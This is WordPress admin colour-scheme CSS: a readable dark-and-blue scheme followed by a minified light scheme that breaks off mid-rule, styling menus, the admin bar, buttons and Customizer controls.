.wp-core-ui .wp-ui-text-primary {
  color: #1e1e1e;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #3858e9;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #3858e9;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #3858e9;
}
.wp-core-ui .wp-ui-text-notification {
  color: #3858e9;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(0, 7%, 95%);
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #3858e9;
  color: #3858e9;
}

.wrap .page-title-action:hover {
  color: #183ad6;
  border-color: #183ad6;
}

.wrap .page-title-action:focus {
  border-color: #667fee;
  color: #132ea8;
  box-shadow: 0 0 0 1px #667fee;
}

.view-switch a.current:before {
  color: #1e1e1e;
}

.view-switch a:hover:before {
  color: #3858e9;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #1e1e1e;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(0, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #3858e9;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #0c0c0c;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #0c0c0c;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #bcbcbc;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #bcbcbc;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #33f078;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #33f078;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #3858e9;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #3858e9;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #0c0c0c;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(0, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #33f078;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #1e1e1e;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(0, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #33f078;
  background: #0c0c0c;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #33f078;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #33f078;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #0c0c0c;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #303030;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #bcbcbc;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(0, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #33f078;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #33f078;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(0, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(0, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #303030;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #3858e9;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #324fd2;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #303030;
  background-color: #303030;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #33f078;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #bcbcbc;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #3858e9;
  border-color: #2145e6;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #3858e9;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #3858e9;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #3858e9;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #3858e9;
}

.attachment.details .check {
  background-color: #3858e9;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #3858e9;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #3858e9;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #3858e9;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #3858e9;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #1e1e1e;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #1e1e1e;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #3858e9;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #3858e9;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #667fee, 0 0 2px 1px #3858e9;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(0, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #3858e9;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #0c0c0c;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(0, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #3858e9;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #3858e9;
  border-right-color: #3858e9;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #3858e9;
  border-top-color: #3858e9;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #3858e9;
  border-right-color: #3858e9;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #3858e9;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #667fee, 0 0 2px 1px #3858e9;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #3858e9;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #3858e9;
  color: #3858e9;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #3858e9;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #3858e9;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #3858e9;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #3858e9;
  border-style: solid;
  box-shadow: 0 0 0 1px #3858e9;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #3858e9;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #3858e9;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #3858e9;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #667fee, 0 0 2px 1px #3858e9;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #3858e9;
  color: #3858e9;
}/*! This file is auto-generated */
body{background:#f5f5f5}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#04a4cc;box-shadow:0 0 0 1px #04a4cc}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#04a4cc;color:#262a2e;box-shadow:inset 0 2px 5px -3px #04a4cc}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#04a4cc;border-color:#04a4cc}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#037c9a;color:#037c9a}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#09cafa;color:#025468;box-shadow:0 0 0 1px #09cafa}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#04a4cc;border-color:#04a4cc;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#04b0db;border-color:#0498bd;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #04a4cc}.wp-core-ui .button-primary:active{background:#0490b3;border-color:#0490b3;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#04a4cc;color:#fff;border-color:#036881;box-shadow:inset 0 2px 5px -3px #000}.wp-core-ui .button-group>.button.active{border-color:#04a4cc}.wp-core-ui .wp-ui-primary{color:#333;background-color:#e5e5e5}.wp-core-ui .wp-ui-text-primary{color:#e5e5e5}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#888}.wp-core-ui .wp-ui-text-highlight{color:#888}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d64e07}.wp-core-ui .wp-ui-text-notification{color:#d64e07}.wp-core-ui .wp-ui-text-icon{color:#999}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #04a4cc;color:#04a4cc}.wrap .page-title-action:hover{color:#037c9a;border-color:#037c9a}.wrap .page-title-action:focus{border-color:#09cafa;color:#025468;box-shadow:0 0 0 1px #09cafa}.view-switch a.current:before{color:#e5e5e5}.view-switch a:hover:before{color:#d64e07}#adminmenu,#adminmenuback,#adminmenuwrap{background:#e5e5e5}#adminmenu a{color:#333}#adminmenu div.wp-menu-image:before{color:#999}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#888}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#ccc}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f5f5f5;border-bottom-color:#f5f5f5}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#fff}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#fff}#adminmenu .wp-submenu .wp-submenu-head{color:#686868}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#686868}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#04a4cc}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#333}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#04a4cc}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f5f5f5}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#888}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#ccc}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d64e07}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#333;background:#fff}#collapse-button{color:#777}#collapse-button:focus,#collapse-button:hover{color:#04a4cc}#wpadminbar{color:#333;background:#e5e5e5}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#333}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#999}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#04a4cc;background:#fff}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#04a4cc}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#04a4cc}#wpadminbar .menupop .ab-sub-wrapper{background:#fff}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#f7f7f7}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#686868}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#999}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#04a4cc}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#04a4cc}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#999}#wpadminbar #adminbarsearch:before{color:#999}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#333;background:#f7f7f7}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d64e07}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#c14606}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#f7f7f7;background-color:#f7f7f7}#wpadminbar #wp-admin-bar-user-info .display-name{color:#333}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#04a4cc}#wpadminbar #wp-admin-bar-user-info .username{color:#686868}.wp-pointer .wp-pointer-content h3{background-color:#04a4cc;border-color:#0490b3}.wp-pointer .wp-pointer-content h3:before{color:#04a4cc}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#04a4cc}.media-item .bar,.media-progress-bar div{background-color:#04a4cc}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #04a4cc}.attachment.details .check{background-color:#04a4cc;box-shadow:0 0 0 1px #fff,0 0 0 2px #04a4cc}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #04a4cc}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#04a4cc}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#04a4cc}.theme-filter.current,.theme-section.current{border-bottom-color:#e5e5e5}body.more-filters-opened .more-filters{color:#333;background-color:#e5e5e5}body.more-filters-opened .more-filters:before{color:#333}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#888;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser 